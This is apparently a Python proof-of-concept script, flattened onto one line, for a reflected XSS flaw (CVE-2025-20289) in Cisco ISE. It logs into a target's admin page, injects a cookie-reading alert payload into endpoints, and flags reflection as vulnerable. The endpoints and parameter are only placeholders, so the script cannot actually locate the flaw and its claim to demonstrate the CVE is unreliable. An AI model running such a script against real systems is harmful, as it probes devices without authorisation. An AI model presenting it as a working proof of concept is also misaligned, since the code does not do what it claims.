CVE-2025-20289

import requests import argparse def cve_2025_20289_poc(target_url, username, password): """ CVE-2025-20289 PoC - Cisco ISE Reflected XSS This PoC demonstrates the XSS vulnerability by injecting a benign script to verify the vulnerability exists. """ # Login to Cisco ISE login_url = f"{target_url}/admin/login.jsp" session = requests.Session() # Login payload login_data = { 'username': username, 'password': password, 'submit': 'Login' } try: # Attempt login login_response = session.post(login_url, data=login_data, verify=False, timeout=30) # XSS payload - reflected in specific pages # Common vulnerable parameters in Cisco ISE xss_payload = "<script>alert(document.cookie)</script>" # Target vulnerable endpoints vulnerable_endpoints = [ '/admin/webapi/...parameter...', '/admin/.../...parameter...' ] for endpoint in vulnerable_endpoints: exploit_url = f"{target_url}{endpoint}?param={requests.utils.quote(xss_payload)}" response = session.get(exploit_url, timeout=30) # Check if payload is reflected without encoding if xss_payload in response.text: print(f"[!] VULNERABLE: {exploit_url}") print(f"[+] XSS payload reflected in response") else: print(f"[*] Not vulnerable or different parameter: {endpoint}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-20289 PoC') parser.add_argument('-t', '--target', required=True, help='Target Cisco ISE URL') parser.add_argument('-u', '--username', required=True, help='Username') parser.add_argument('-p', '--password', required=True, help='Password') args = parser.parse_args() cve_2025_20289_poc(args.target, args.username, args.password)

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